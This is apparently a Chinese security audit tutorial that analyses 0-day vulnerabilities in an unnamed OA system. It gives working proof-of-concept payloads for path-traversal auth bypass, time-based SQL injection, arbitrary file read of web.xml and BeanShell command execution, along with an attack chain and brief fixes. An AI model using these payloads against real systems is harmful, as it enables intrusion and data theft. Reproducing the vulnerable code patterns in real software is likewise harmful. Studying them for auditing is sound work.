某OA系统0Day审计过程
字数 1462
更新时间 2026-02-06 02:50:56

某OA系统0Day漏洞审计教学文档

一、系统架构分析

1.1 技术栈组成

  • 后端框架:SSM架构(Struts2 + Spring MVC)
  • 前端渲染:JSP技术
  • 数据库操作:主要采用JDBC直接连接
  • 安全防护:自定义Filter进行权限控制和输入过滤

1.2 审计目标接口

  • Struts2 Action方法
  • Spring MVC控制器方法
  • 可直接访问的JSP文件中的业务逻辑

二、权限绕过漏洞分析

2.1 DownloadFilter权限绕过

2.1.1 过滤逻辑分析

// 主要放行点在57行,位于大if块外部
// 关键绕过点在于50-54行的白名单校验

if (!(privilege.isUserLogin(req1) && 
    (path = requestUri.substring(ctxPath.length())).equals("/") && 
    (path.indexOf("common.js") != -1 || 
     path.indexOf("module_field_ajax.jsp") != -1 || 
     // ... 其他白名单路径
    )) {
    chain.doFilter(request, response);
    return;
}

2.1.2 绕过方法

构造URL包含白名单关键词即可绕过鉴权:

http://target.com/xxx/common.js/../admin/user_edit.jsp

2.2 ProtectFilter安全绕过

2.2.1 防护逻辑

  • 检查请求URL是否包含error.jsp
  • 调用SecurityUtil.filter进行SQL注入和XSS防护

2.2.2 绕过方式

  1. 使用error.jsp路径绕过
  2. 利用UnProtectUnit配置中的排除规则

三、SQL注入漏洞

3.1 漏洞产生条件

  1. 使用JDBC非预编译语句
  2. 参数用户可控
  3. 未调用sqlstr防护方法

3.2 具体漏洞点

3.2.1 linkman_list_sel.jsp注入点

// 参数通过ParamUtil.get获取,未过滤
String orderby = ParamUtil.get(request, "orderby");
String sort = ParamUtil.get(request, "sort");
// 直接拼接到SQL语句,未使用sqlstr处理
String sql = "SELECT * FROM table ORDER BY " + orderby + " " + sort;

POC构造

orderby=id&sort=asc;SELECT SLEEP(5)--

3.2.2 listmember.jsp注入点

类似逻辑,orderBy和sort参数直接拼接

四、文件上传漏洞

4.1 FilecaseUploadAction任意文件上传

4.1.1 漏洞逻辑

// 获取上传文件列表
List<FileUpload> files = this.getUpload();
for (FileUpload fu : files) {
    // 文件名完全可控,存在目录穿越
    File file = new File(savePath + fu.getFileName());
    // 直接写入文件内容
    FileOutputStream fos = new FileOutputStream(file);
    // ... 文件写入逻辑
}

4.1.2 权限校验绕过

需要生成有效的skey参数:

  • 使用3DES加密"admin|时间戳"格式数据
  • 密钥从配置文件中获取
  • 时间戳有效期为20分钟

4.1.3 上传路径

/upfile/filecase/年/月/原始文件名

4.2 NetdiskUploadAction任意文件上传

类似逻辑,保存路径为:

/upfile/file_netdisk/admin/文件名

4.3 NoticeAddAction受限文件上传

  • 文件名使用随机数生成:时间戳+8位随机数
  • 后缀通过StrUtil.getFileExt处理(提取最后一个.后内容)
  • 文件信息写入数据库,可通过SQL注入读取

五、任意文件读取漏洞

5.1 getfile.jsp文件读取

<%
String filename = request.getParameter("filename");
String ext = request.getParameter("ext");
// 直接使用参数构造文件路径
File file = new File(basePath + filename + "." + ext);
FileInputStream fis = new FileInputStream(file);
// 输出文件内容到响应
%>

利用POC

/getfile.jsp?filename=../../WEB-INF/web&ext=xml

5.2 其他文件读取点

类似逻辑,通过mappingAddress参数控制读取路径

六、BSH代码执行漏洞

6.1 BSH(BeanShell)简介

  • 小型Java源码解释器
  • 支持执行标准Java语法
  • 具有脚本化扩展能力

6.1 admin/script_run.jsp代码执行

<%
String myscript = request.getParameter("script");
Interpreter interpreter = new Interpreter();
// 直接执行用户输入的脚本
interpreter.eval(myscript);
%>

利用POC

Runtime.getRuntime().exec("calc.exe");

6.2 BeanShellScriptJob调度任务代码执行

6.2.1 执行逻辑

public void execute(JobExecutionContext context) {
    String script = context.getJobDetail().getJobDataMap().getString("script");
    Interpreter interpreter = new Interpreter();
    interpreter.eval(script);
}

6.2.2 数据写入点

通过scheduler_add_script.jsp插入调度任务,将恶意脚本写入数据库的quartz_job_details表

七、漏洞利用链构建

7.1 完整攻击路径

  1. 通过权限绕过访问后台功能
  2. 利用SQL注入读取文件上传后的随机文件名
  3. 结合BSH代码执行获取系统权限
  4. 使用任意文件读取获取配置文件信息

7.2 防护建议

  1. 统一使用预编译SQL语句
  2. 文件上传限制后缀名和文件内容检查
  3. 实现严格的路径校验防止目录穿越
  4. 禁用动态脚本执行功能
  5. 加强权限校验,避免白名单绕过

八、审计工具推荐

  • FileLocator Pro:代码关键词搜索
  • 反编译工具:分析class文件逻辑
  • Burp Suite:漏洞验证和利用

本教学文档详细分析了该OA系统的多个安全漏洞,涵盖了从权限绕到远程代码执行的完整攻击链,为安全审计人员提供了完整的技术参考。

 全屏